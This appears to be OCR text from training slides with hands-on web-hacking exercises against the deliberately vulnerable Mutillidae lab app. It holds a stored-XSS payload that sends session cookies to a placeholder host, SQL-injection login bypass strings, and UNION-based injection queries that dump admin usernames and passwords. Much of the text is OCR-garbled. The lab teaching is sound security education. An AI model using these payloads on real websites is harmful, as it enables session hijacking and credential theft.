 Popup the scariing word « XSS ». '

mutillidae - Owasp Top 10 - A2 (XSS) - Reflected ( rder) - Set Backgro,

x



@ XSS Practice 1

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

J.,—v;_ .

* http://yourmsf2/mutillidae/index.php?pag _< ﬁnd-color.php
* Popup the scariing word « XSS »,

mutillidae - Owasp Top.10 - A2 (XSS) - Reflected (First O Lind Color



SXCESULLIU=

Your first call when it comes to IT and Security!

A bad website, Pown it

* http://yourmsf2/mutillidae/index.php?page=add-to-your-blog.php
* Retrieve the session cookie PHPSESSIONID.

mutillidae - Owasp Top 10 - A2 (XSS) - Persistent (Second Order) - add to your blog

Response headers:

Cache-Control: public

Connection: Keep-Alive
Content-Type: text/html

Date: Mon, 07 Sep 2015 14:25:24 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT Send Cookie
Keep-Alive: timeout=15, max=100
Last-Maodified: Maon, 07 Sep 2015 14:25:25 GMT
Pragma: public

Server: Apache/2.2.8 (Ubuntu) DAV/2 \
Set-Cookies PHPSESSID=30a405573cbd c567bf99ad2c8544509; path=/ WCtC))I’_ItSUH 5
Transfer-Encoding: chunked epsite an -

tore XSS
X-Powered-By: PHP/5.2.4-2ubuntu5.10 execute code

4

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)



CWECLLHUM

Your first call when it comes to IT and Sec

. . Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)
A bad website, Pown it
* One solution
<script>
new Image().src="http://XXXXXX/flag:" +encodeURI(document.cookie);
</script>

Send Cookie

Conk
Website and
Store XSS

execute code

v




EACESLIUS

Your first call when it comes to IT and Security!

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

Bypass authentication

* http://yourmsf2/mutillidae/index.php?page=login.php
* mutillidae - Owasp Top 10 - A1l Injection - SQLi Bypass Authentication - Login

* The idea is to « Shorten » the request

 Help yourself with a dummy mysql console

SELECT id FROM accounts WHERE username="admin' AND password="mypass’;

mafadminfmetasploitable:~% my=sgl -u root

jelcome to the MySQL monitor. Commands end with ; or h\g.
Your MySQL connection id i=s 131

Server wversion: 5.0.5la-3ubuntub (Ubuntu)

Type "help:' or "\h' for help. Type "“c' to clear the buffer.

my=agl> use owaspl0:
Reading table information for completion of table and column names
You can turn off this feature to get a gquicker startup with -4

Databa=se changed

My Sgl> D




SACES iU
Your first call when it comes to IT and Security!

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

Bypass authentication

* One Solution

SELECT id FROM accounts WHERE username="admin' AND password="mypass’;

SELECT id FROM accounts WHERE username=" "AND password=";




EXCELIU=

first call when it comes to IT and Security!

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

EXt ra Ct coe a n d m O re |:> Security Level: 5 (Secure) Hints: Disabled (0 - | try harder)

* http://yourmfs2/mutillidae/index.php?page=user-info.php
* mutillidae - Owasp Top 10 - A1l Injection - SQLi extract data - User info

* Findthesqli.. And extract ONLY the admins

Help:

* http://pentestmonkey.net/category/cheat-sheet/sql-injection



H B |
SQLi in practice 2 SRCeCC

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)
Security Level: 5 (Secure) Hints: Disabled (0 - | try harder)

Extract ... and more

s http://yourmfs2/mutillidae/index.php?page=user-info.php

—
g

~+ Find the len of query for the union

——
- -

Record 1
Standard Results

Record 2
Union ... our Results


http://yourmfs2/mutillidae/index.php?page=user-info.php

% uu.va

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

EXt ra Ct coe a n d m O re |:> Security Level: 5 (Secure) Hints: Disabled (0 - | try harder)

* Find the len with union

» &username=' union+select+true+--
e &username=' union+select+true,true+--
« &username=' union+select+true,true,true+--

« &username="' union+select+true,true,true,true, true+--


http://yourmfs2/mutillidae/index.php?page=user-info.php

EXCELIU=

Your first call when it comes to IT and Security!

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

EXt ra Ct coe a n d m O re |:> Security Level: 5 (Secure) Hints: Disabled (0 - | try harder)

* Now exploit it

* How to find table name... Depend of the SQL Database !



http://yourmfs2/mutillidae/index.php?page=user-info.php

SO LIU=

first call when it comes to IT and Security!

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

EXt ra Ct coe a n d m O re |:> Security Level: 5 (Secure) Hints: Disabled (0 - | try harder)

 Find SQL database type :

SELECT @@version - Mysq|

SELECT versionnumber, version_timestamp from sysibm.sysversions; - DB2
SELECT version() - PostGres

SELECT version FROM v$instance; - ORACLE


http://yourmfs2/mutillidae/index.php?page=user-info.php

SACESL U=

Your first call when it comes to IT

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

EXt ra Ct coe a n d m O re |:> Security Level: 5 (Secure) Hints: Disabled (0 - | try harder)

* Now exploit it

* How to find table name and column on mysql...

* &usemame=' union+select+true,"yes" ,table_name, true, true from
information_schema.tables+--

« &username=' union+select+true,"yes", column_name, true , true FROM
information_schema.columns WHERE table_name="'accounts' +--


http://yourmfs2/mutillidae/index.php?page=user-info.php

[ | [
o) SQLi in practice 2 AR

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)
Security Level: 5 (Secure) Hints: Disabled (0 - | try harder)

Extract ... and more

I

 ——

http://192.168.62.130/mutillidae/index. php?page=user-info.php&lusername=" union+select+true username, password, is_admin , true from accounts where is_admin = "TRUE"+--+&pasmrurd:q&user-infu-php-submit-buttun:‘u’iew+Account+Detai|5|

- B .
— (-

- — —
- —

—— -




SEXCSU LU=
Your first call when it comes to IT and Security!

Ext ract ... an d more Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder)

Security Level: 5 (Secure) Hints: Disabled (0 - | try harder)

e &username="' union+select+true,username, password, is_admin,
true from accounts where is_admin = "TRUE" +--+

Username=admin
Password=adminpass
Signature=TRUE

Username=adrian
Password=somepassword
Signature=TRUE


http://yourmfs2/mutillidae/index.php?page=user-info.php

u) Questions / Farewell ? X




